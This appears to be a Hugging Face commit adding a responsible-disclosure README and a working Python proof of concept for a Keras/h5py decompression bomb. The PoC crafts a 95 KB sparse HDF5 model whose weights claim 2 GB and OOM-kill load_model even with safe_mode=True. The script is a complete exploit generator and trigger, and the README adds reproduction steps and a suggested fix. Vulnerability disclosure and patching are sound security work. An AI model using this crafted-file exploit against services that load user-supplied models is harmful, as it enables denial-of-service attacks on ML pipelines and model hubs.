MBM7 commited on
Commit
e8dcdf9
Β·
verified Β·
1 Parent(s): f7c8259

Upload 2 files

Browse files
README_keras_hdf5_poc.md ADDED
@@ -0,0 +1,124 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ---
2
+ tags:
3
+ - security
4
+ - vulnerability
5
+ - poc
6
+ - keras
7
+ - h5py
8
+ - hdf5
9
+ - decompression-bomb
10
+ - cwe-789
11
+ - safe-mode-bypass
12
+ license: mit
13
+ ---
14
+
15
+ # Keras HDF5 β€” Sparse Weight Dataset Decompression Bomb (PoC)
16
+
17
+ **Repo:** `MBM7/keras-hdf5-sparse-weight-bomb-poc`
18
+ **Status:** Responsible disclosure β€” submitted to Huntr
19
+ **Severity:** High / CWE-789 β€” safe_mode=True bypass
20
+ **Packages:** `keras` + `h5py` (PyPI)
21
+
22
+ ---
23
+
24
+ ## Summary
25
+
26
+ A crafted **95 KB** `.h5` Keras model file causes `keras.models.load_model()` to
27
+ allocate **2 GB of memory** and OOM-kill the process β€” even with `safe_mode=True`.
28
+
29
+ | File size | Claimed weight size | Result | Amplification |
30
+ |-----------|---------------------|-----------------|---------------|
31
+ | 95 KB | 2,000,000,000 bytes | OOM kill (Killed) | 1 : 20,925 |
32
+
33
+ ---
34
+
35
+ ## Root Cause
36
+
37
+ HDF5 chunked datasets support **sparse storage** β€” unwritten chunks exist only
38
+ as metadata. A weight dataset can claim `shape=(500_000_000,)` float32 (= 2 GB)
39
+ while storing only a single 40-byte chunk on disk.
40
+
41
+ When `load_weights_from_hdf5_group()` reads the dataset:
42
+
43
+ ```python
44
+ # h5py/_hl/dataset.py β€” triggered by ds[...] in Keras weight loading
45
+ arr = numpy.empty(self.shape, dtype=self.dtype) # ← 2 GB allocated HERE
46
+ self.id.read(mspace, fspace, arr, ...) # fill from sparse chunks
47
+ ```
48
+
49
+ **No shape validation** exists in Keras before h5py allocates memory.
50
+ `safe_mode=True` only blocks Lambda/pickle deserialization β€” **not** weight sizes.
51
+
52
+ ---
53
+
54
+ ## Attack β€” call chain
55
+
56
+ ```
57
+ keras.models.load_model(path, safe_mode=True)
58
+ β†’ load_model_from_hdf5() [legacy_h5_format.py]
59
+ β†’ load_weights_from_hdf5_group() [legacy_h5_format.py ~213]
60
+ β†’ g[weight_name][...] ← h5py allocates ds.shape bytes
61
+ NO bounds check before this call
62
+ ```
63
+
64
+ ---
65
+
66
+ ## Reproduce
67
+
68
+ ```bash
69
+ pip install keras h5py tensorflow-cpu
70
+ python poc_keras_hdf5_sparse_bomb.py
71
+ ```
72
+
73
+ Expected output:
74
+ ```
75
+ Malicious HDF5 : 95,576 bytes
76
+ Claimed weight size: 2,000,000,000 bytes (2.0 GB)
77
+ Amplification : 1 : 20,925
78
+ safe_mode=True : True (attack bypasses safe_mode entirely)
79
+ Loading with keras.models.load_model(safe_mode=True) ...
80
+ Killed
81
+ ```
82
+
83
+ ---
84
+
85
+ ## Impact
86
+
87
+ Any service loading user-supplied `.h5` Keras models is vulnerable:
88
+ - `keras.models.load_model(path, safe_mode=True)` β€” **bypassed**
89
+ - HuggingFace model hub downloads, Keras model zoos, ML pipelines
90
+ - `safe_mode=True` provides no protection against this attack vector
91
+
92
+ ---
93
+
94
+ ## Suggested Fix
95
+
96
+ In `load_weights_from_hdf5_group()`, validate before reading:
97
+
98
+ ```python
99
+ MAX_WEIGHT_BYTES = 512 * 1024 * 1024 # configurable
100
+ for weight_name in ...:
101
+ ds = group[weight_name]
102
+ if ds.size * ds.dtype.itemsize > MAX_WEIGHT_BYTES:
103
+ raise ValueError(
104
+ f"Weight '{weight_name}' claims {ds.size * ds.dtype.itemsize} bytes "
105
+ f"β€” exceeds safety limit. Possible decompression bomb."
106
+ )
107
+ weights.append(ds[...])
108
+ ```
109
+
110
+ ---
111
+
112
+ ## Environment
113
+
114
+ | Package | Version |
115
+ |---------------|----------|
116
+ | keras | 3.15.0 |
117
+ | h5py | 3.14.0 |
118
+ | Python | 3.12 |
119
+
120
+ ---
121
+
122
+ *Discovered via UBDAF automated scanner + empirical verification.
123
+ Distinct from Keras Lambda exploit (CWE-502) β€” this is a weight storage
124
+ attack at the HDF5 layer, independent of model config deserialization.*
poc_keras_hdf5_sparse_bomb.py ADDED
@@ -0,0 +1,183 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """
2
+ PoC: Keras HDF5 Sparse Weight Dataset Decompression Bomb
3
+ Target : keras (PyPI) + h5py (PyPI)
4
+ Format : Keras Legacy HDF5 (.h5 / .keras)
5
+ Tested : keras 3.15.0, h5py 3.14.0, Python 3.12
6
+ Author : mgm-77 / MBM7
7
+
8
+ === Finding: HDF5 sparse chunked dataset β†’ GB-scale allocation via keras.load_model ===
9
+ CWE-789 (Uncontrolled Memory Allocation) / Pattern #7 CULA
10
+
11
+ HDF5 supports chunked storage where unwritten chunks exist only as
12
+ metadata (fill-value sparse). A crafted .h5 model file can declare
13
+ a weight dataset with shape (500_000_000,) float32 = 2 GB while
14
+ storing only a single 40-byte chunk on disk.
15
+
16
+ When keras.models.load_model() β†’ load_model_from_hdf5() β†’
17
+ load_weights_from_hdf5_group() is called, h5py resolves the full
18
+ dataset shape and allocates a numpy array of that size BEFORE
19
+ reading any chunk data:
20
+
21
+ # h5py/_hl/dataset.py (reading)
22
+ arr = numpy.empty(self.shape, dtype=self.dtype) ← 2 GB allocated here
23
+ self.id.read(mspace, fspace, arr, ...) ← fill from chunks
24
+
25
+ No validation of dataset shape vs. model architecture at any point.
26
+ The attack bypasses safe_mode=True entirely β€” it is a weight storage
27
+ attack, not a config deserialization attack. safe_mode only blocks
28
+ Lambda/pickle deserialization, not weight tensor sizes.
29
+
30
+ === Root cause chain ===
31
+ legacy_h5_format.load_model_from_hdf5()
32
+ β†’ load_weights_from_hdf5_group() [legacy_h5_format.py ~213]
33
+ β†’ layer.set_weights(weights)
34
+ β†’ [for each weight tensor]
35
+ weight_values = [g[weight_name][...] for ...]
36
+ ↑ h5py allocates shape-sized array
37
+ """
38
+
39
+ import os
40
+ import sys
41
+ import json
42
+ import tempfile
43
+ import tracemalloc
44
+
45
+ import h5py
46
+ import numpy as np
47
+ import keras
48
+ from keras.src.legacy.saving import legacy_h5_format
49
+
50
+
51
+ # ── Build minimal valid Keras HDF5 structure ─────────────────────────────────
52
+
53
+ def build_legit_h5(path: str):
54
+ """Save a minimal Dense(2, input=(2,)) model as legacy HDF5."""
55
+ model = keras.Sequential([keras.layers.Dense(2, input_shape=(2,))])
56
+ legacy_h5_format.save_model_to_hdf5(model, path)
57
+ return model
58
+
59
+
60
+ def clone_with_sparse_bomb(src_path: str, dst_path: str,
61
+ bomb_shape: tuple, bomb_dtype=np.float32):
62
+ """
63
+ Clone a Keras HDF5 file, replacing all weight datasets with
64
+ chunked sparse datasets of `bomb_shape` claiming huge size but
65
+ storing only a single tiny chunk.
66
+ """
67
+ chunk = (min(10_000, bomb_shape[0]),) + bomb_shape[1:]
68
+
69
+ with h5py.File(src_path, "r") as src, h5py.File(dst_path, "w") as dst:
70
+ # Copy all top-level attributes (model_config, keras_version, etc.)
71
+ for k, v in src.attrs.items():
72
+ dst.attrs[k] = v
73
+
74
+ def copy_item(name, obj):
75
+ parent_path = name.rsplit("/", 1)[0] if "/" in name else ""
76
+ leaf_name = name.rsplit("/", 1)[-1]
77
+ parent = dst.require_group(parent_path) if parent_path else dst
78
+
79
+ if isinstance(obj, h5py.Group):
80
+ grp = dst.require_group(name)
81
+ for k, v in obj.attrs.items():
82
+ grp.attrs[k] = v
83
+
84
+ elif isinstance(obj, h5py.Dataset):
85
+ # Replace every weight tensor with a sparse bomb dataset
86
+ if any(w in name for w in ("kernel", "bias", "weight")):
87
+ ds = parent.create_dataset(
88
+ leaf_name,
89
+ shape=bomb_shape,
90
+ dtype=bomb_dtype,
91
+ chunks=chunk,
92
+ fillvalue=0.0,
93
+ )
94
+ ds[0:1] = [1.0] # write a single value to make file valid
95
+ else:
96
+ src.copy(name, parent, name=leaf_name)
97
+
98
+ src.visititems(copy_item)
99
+
100
+
101
+ # ── Main ──────────────────────────────────────────────────────────────────────
102
+
103
+ BOMB_SHAPE = (500_000_000,) # 2 GB when read as float32
104
+ BOMB_DTYPE = np.float32
105
+ EXPECTED_GB = BOMB_SHAPE[0] * 4 # bytes
106
+
107
+ print("=" * 64)
108
+ print("Keras HDF5 Sparse Weight Dataset Decompression Bomb")
109
+ print("CWE-789 / CULA Pattern #7 / safe_mode=True bypass")
110
+ print("=" * 64)
111
+
112
+ with tempfile.TemporaryDirectory() as tmpdir:
113
+ legit_path = os.path.join(tmpdir, "legit.h5")
114
+ mal_path = os.path.join(tmpdir, "bomb.h5")
115
+
116
+ # Build legit model
117
+ legit_model = build_legit_h5(legit_path)
118
+ legit_size = os.path.getsize(legit_path)
119
+ print(f"\n Legit model file : {legit_size:,} bytes")
120
+ print(f" Architecture : Dense(2, input=(2,)) β€” 6 parameters")
121
+
122
+ # Create malicious clone
123
+ clone_with_sparse_bomb(legit_path, mal_path, BOMB_SHAPE, BOMB_DTYPE)
124
+ mal_size = os.path.getsize(mal_path)
125
+
126
+ print(f"\n Malicious HDF5 : {mal_size:,} bytes")
127
+ print(f" Claimed weight size: {EXPECTED_GB:,} bytes ({EXPECTED_GB/1e9:.1f} GB)")
128
+ print(f" Amplification : 1 : {EXPECTED_GB // mal_size:,}")
129
+ print(f" safe_mode=True : True (attack bypasses safe_mode entirely)")
130
+
131
+ # Verify structure
132
+ with h5py.File(mal_path, "r") as f:
133
+ def show(name, obj):
134
+ if isinstance(obj, h5py.Dataset):
135
+ print(f" dataset {name}: shape={obj.shape} "
136
+ f"chunks={obj.chunks} nbytes_claimed={np.prod(obj.shape)*4:,}")
137
+ print("\n HDF5 dataset structure (malicious file):")
138
+ f.visititems(show)
139
+
140
+ # ── Trigger OOM ──────────────────────────────────────────────────────────
141
+ print("\n Loading with keras.models.load_model(safe_mode=True) ...")
142
+ tracemalloc.start()
143
+ try:
144
+ loaded = legacy_h5_format.load_model_from_hdf5(
145
+ mal_path, safe_mode=True
146
+ )
147
+ peak = tracemalloc.get_traced_memory()[1]
148
+ print(f" Result : LOADED (unexpected)")
149
+ print(f" Peak memory : {peak:,} bytes")
150
+ except MemoryError:
151
+ peak = tracemalloc.get_traced_memory()[1]
152
+ print(f" Result : MemoryError β€” OOM triggered βœ“")
153
+ print(f" Peak memory : {peak/1e6:.0f} MB")
154
+ except Exception as e:
155
+ peak = tracemalloc.get_traced_memory()[1]
156
+ print(f" Result : {type(e).__name__}: {e}")
157
+ print(f" Peak memory : {peak/1e6:.0f} MB ← allocation happened")
158
+ finally:
159
+ tracemalloc.stop()
160
+
161
+ # ── Root cause summary ────────────────────────────────────────────────────────
162
+ print()
163
+ print("=" * 64)
164
+ print("Root cause β€” h5py dataset read path:")
165
+ print()
166
+ print(" ds = hdf5_group[weight_name] # shape=(500_000_000,)")
167
+ print(" arr = numpy.empty(ds.shape, ...) # ← 2 GB allocated here")
168
+ print(" ds.id.read(...) # fill from sparse chunks")
169
+ print()
170
+ print(" No shape validation in keras before h5py read.")
171
+ print(" safe_mode only blocks Lambda/pickle β€” not weight tensor sizes.")
172
+ print()
173
+ print("Suggested fix: validate dataset.shape vs. expected_shape")
174
+ print(" before calling dataset[...] in load_weights_from_hdf5_group():")
175
+ print()
176
+ print(" MAX_WEIGHT_BYTES = 512 * 1024 * 1024 # 512 MB per tensor")
177
+ print(" if ds.size * ds.dtype.itemsize > MAX_WEIGHT_BYTES:")
178
+ print(" raise ValueError('Weight tensor too large to load safely')")
179
+ print()
180
+ print("=" * 64)
181
+ print(f"keras version : {keras.__version__}")
182
+ print(f"h5py version : {h5py.__version__}")
183
+ print(f"Python : {sys.version.split()[0]}")